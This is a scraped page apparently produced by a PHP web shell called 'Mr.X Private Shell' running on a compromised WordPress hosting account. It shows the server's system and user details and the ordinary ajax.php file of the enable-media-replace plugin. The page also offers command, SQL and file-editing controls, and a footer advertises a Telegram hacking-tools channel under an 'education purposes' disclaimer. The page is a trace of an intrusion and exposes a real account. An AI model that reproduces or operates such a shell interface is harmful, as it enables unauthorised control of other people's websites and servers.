Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www/wp-content///////plugins/enable-media-replace/classes      ( Reset | Go to )
File Name: ajax.php
Edit
<?php
namespace EnableMediaReplace;

use 
EnableMediaReplace\ShortPixelLogger\ShortPixelLogger as Log;
use 
EnableMediaReplace\Api as Api;

class 
Ajax {
    public function 
__construct() {
        
$endpoints = array(
            
'remove_background',

        );
        foreach ( 
$endpoints as $action ) {
            
add_action"wp_ajax_emr_{$action}", array( $this$action ) );
        }
    }

    public function 
remove_background() {
        if ( 
$this->check_nonce() ) {
            
$api = new Api;
            
$response $api->request$_POST );
            
wp_send_json($response);
        }
        else {
                die(
'Wrong nonce');
        }
    }

    private function 
check_nonce() {
        
$nonce  = isset( $_POST['nonce'] ) ? sanitize_text_field$_POST['nonce'] ) : '';
        
$action = isset( $_POST['action'] ) ? sanitize_text_field$_POST['action'] ) : '';
        return 
wp_verify_nonce$nonce$action );
    }
}


new 
Ajax();

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL